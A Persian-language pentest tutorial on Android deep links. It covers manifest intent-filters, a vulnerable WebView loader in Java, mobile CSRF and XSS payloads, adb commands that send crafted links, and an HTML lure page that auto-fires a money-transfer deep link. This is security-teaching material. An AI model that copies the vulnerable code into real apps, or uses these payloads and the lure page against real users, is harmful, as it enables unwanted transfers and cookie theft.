دیپ لینکها (Deep Links & URI Schemes)
دیپ لینکها مکانیزمی هستند که به کاربران اجازه میدهند با کلیک روی یک لینک (مثلا در مرورگر یا پیامک)، مستقیما به صفحه خاصی در داخل اپلیکیشن هدایت شوند.
ساختار کلی به صورت scheme://host/path?query است.
مثال: myapp://user/reset_password?token=123
۱. نحوه تعریف در Manifest
توسعهدهندگان با استفاده از <intent-filter> در فایل مانیفست، به اندروید میگویند که اپلیکیشنشان مسئول باز کردن چه نوع لینکهایی است.
- Custom Scheme: مثل
myapp://(ناامنتر، چون هر اپلیکیشنی میتواند آن را ثبت کند). - App Links: مثل
https://www.example.com(امنتر، چون مالکیت دامین تایید میشود).
نمونه تعریف در مانیفست:
<activity android:name=".PromoActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="myapp"
android:host="shop"
android:pathPrefix="/product" />
</intent-filter>
</activity>۲. آسیبپذیریهای رایج
وقتی اپلیکیشن از طریق دیپ لینک باز میشود، دادههای موجود در URL (مثل پارامترها) به عنوان ورودی به برنامه داده میشوند. اگر این ورودیها اعتبارسنجی نشوند، فاجعه رخ میدهد.
الف) آسیبپذیری منطقی (Mobile CSRF)
فرض کنید اپلیکیشن با لینک زیر، رمز عبور کاربر را عوض میکند یا پول انتقال میدهد:
myapp://transfer?amount=1000&to=hacker
اگر مهاجم این لینک را برای قربانی بفرستد و قربانی روی آن کلیک کند، اپلیکیشن باز شده و تراکنش انجام میشود (بدون اینکه قربانی بخواهد).
ب) حمله XSS در WebView
اگر پارامتر دیپ لینک مستقیما وارد یک WebView شود، مهاجم میتواند کد جاوااسکریپت تزریق کند.
لینک مخرب: myapp://open_url?url=javascript:alert(document.cookie)
کد جاوا آسیبپذیر:
/* در متد onCreate اکتیویتی */
Intent intent = getIntent();
Uri data = intent.getData();
if (data != null) {
/* گرفتن پارامتر url از دیپ لینک */
/*
مثال حمله:
myapp://webview?url=javascript:steal_token()
*/
String urlToLoad = data.getQueryParameter("url");
WebView webView = findViewById(R.id.webView);
/* خطر: لود کردن مستقیم ورودی کاربر بدون هیچ بررسی! */
webView.loadUrl(urlToLoad);
}ج) دستکاری پارامترها (Parameter Tampering)
گاهی اوقات دیپ لینکها برای باز کردن صفحات داخلی (Admin Panel) یا دریافت جوایز استفاده میشوند. مثال: myapp://promo?code=FREE_GIFT مهاجم میتواند با تغییر پارامترها، قابلیتهای مخفی را فعال کند.
۳. تست نفوذ دیپ لینکها
برای تست امنیت دیپ لینکها، مراحل زیر را طی کنید:
- استخراج: فایل
AndroidManifest.xmlرا باز کنید و دنبال تگ<data android:scheme="..." />بگردید. - تحلیل: ببینید کدام Activity مسئول مدیریت این لینک است.
- حمله: با استفاده از
adbیا یک صفحه HTML ساده، لینکهای دستکاری شده را به اپلیکیشن بفرستید.
دستورات حمله با ADB:
# فرمت کلی دستور: #
# adb shell am start -W -a android.intent.action.VIEW -d "LINK" #
# ۱. تست باز شدن اپلیکیشن با لینک ساده #
adb shell am start -W -a android.intent.action.VIEW -d "myapp://shop/product?id=1"
# ۲. تلاش برای XSS در وبویو از طریق دیپ لینک #
adb shell am start -W -a android.intent.action.VIEW -d "myapp://webview?url=javascript:alert(1)"
# ۳. تلاش برای دور زدن منطق برنامه (CSRF) #
adb shell am start -W -a android.intent.action.VIEW -d "myapp://user/change_pass?new=hacked123"۴. حمله در دنیای واقعی (HTML POC)
برای شبیهسازی کامل حمله، باید یک صفحه وب مخرب بسازید که وقتی قربانی آن را باز میکند، دیپ لینک به طور خودکار اجرا شود.
کد صفحه مخرب (HTML):
<html>
<head><title>Deep Link Exploit</title></head>
<body>
<h1>شما برنده شدید</h1>
<a href="myapp://transfer?to=attacker&amount=1000">برای دریافت کلیک کنید</a>
<script>
window.location.href = "myapp://transfer?to=attacker&amount=1000";
</script>
</body>
</html>